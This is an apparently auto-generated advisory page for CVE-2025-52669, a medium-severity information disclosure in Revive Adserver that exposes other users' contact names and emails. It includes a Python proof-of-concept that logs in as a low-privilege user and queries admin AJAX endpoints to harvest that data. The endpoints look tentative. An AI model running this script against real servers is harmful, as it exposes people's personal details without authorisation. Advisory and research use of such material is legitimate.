Security Vulnerability Report
中文
CVE-2025-52669 CVSS 4.3 MEDIUM

CVE-2025-52669

Published: 2025-11-20 20:16:23
Last Modified: 2025-12-02 20:19:16

Description

Insecure design policies in the user management system of Revive Adserver 5.5.2 and 6.0.1 and earlier versions causes non-admin users to have access to the contact name and email address of other users on the system.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:* - VULNERABLE
Revive Adserver < 5.5.3
Revive Adserver < 6.1.0
Revive Adserver 5.5.2
Revive Adserver 6.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-52669 PoC - Revive Adserver User Information Disclosure This PoC demonstrates how a low-privilege user can access other users' contact information. Note: This is for educational and authorized testing purposes only. """ import requests import json TARGET_HOST = "http://target-revive-server.com" ATTACKER_USERNAME = "[email protected]" ATTACKER_PASSWORD = "attacker_password" TARGET_USER_ID = 2 # ID of the user whose info we want to leak def login(username, password): """Authenticate as a low-privilege user""" session = requests.Session() login_url = f"{TARGET_HOST}/www/admin/login.php" login_data = { 'username': username, 'password': password } response = session.post(login_url, data=login_data) return session if 'success' in response.text else None def exploit_user_info_disclosure(session, user_id): """ Exploit the insecure design to retrieve other users' contact information The system fails to properly check if the requesting user has admin privileges """ # Method 1: Direct API call to user management endpoint api_url = f"{TARGET_HOST}/www/admin/ajax/user-info.php" params = {'userId': user_id} response = session.get(api_url, params=params) if response.status_code == 200: try: user_data = response.json() print(f"[+] Successfully retrieved user {user_id} information:") print(f" Name: {user_data.get('contactName', 'N/A')}") print(f" Email: {user_data.get('emailAddress', 'N/A')}") return user_data except json.JSONDecodeError: # Try parsing as HTML/text response print(f"[+] Raw response: {response.text[:500]}") # Method 2: User listing endpoint list_url = f"{TARGET_HOST}/www/admin/ajax/user-list.php" response = session.get(list_url) if response.status_code == 200: print(f"[+] User list endpoint accessible: {response.text[:500]}") return None def main(): print("[*] CVE-2025-52669 PoC - Revive Adserver Information Disclosure") print("[*] Target: Insecure design in user management system") # Step 1: Login as low-privilege user print(f"\n[1] Authenticating as low-privilege user: {ATTACKER_USERNAME}") session = login(ATTACKER_USERNAME, ATTACKER_PASSWORD) if not session: print("[-] Login failed") return print("[+] Login successful") # Step 2: Exploit the vulnerability print(f"\n[2] Exploiting information disclosure (target user ID: {TARGET_USER_ID})") user_info = exploit_user_info_disclosure(session, TARGET_USER_ID) if user_info: print("\n[!] Vulnerability confirmed - Information disclosure successful") print(f"[!] Leaked contact name: {user_info.get('contactName')}") print(f"[!] Leaked email address: {user_info.get('emailAddress')}") else: print("[-] Exploitation may have failed or target is patched") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52669", "sourceIdentifier": "[email protected]", "published": "2025-11-20T20:16:23.140", "lastModified": "2025-12-02T20:19:15.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insecure design policies in the user management system of Revive Adserver 5.5.2 and 6.0.1 and earlier versions causes non-admin users to have access to the contact name and email address of other users on the system."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.5.2", "matchCriteriaId": "47AC2D81-BA0C-404A-B6F6-31151956D422"}, {"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndIncluding": "6.0.1", "matchCriteriaId": "42E4B7BD-5F7B-4FBE-93D2-C19F30FA5A51"}]}]}], "references": [{"url": "https://hackerone.com/reports/3401464", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://hackerone.com/reports/3401464", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}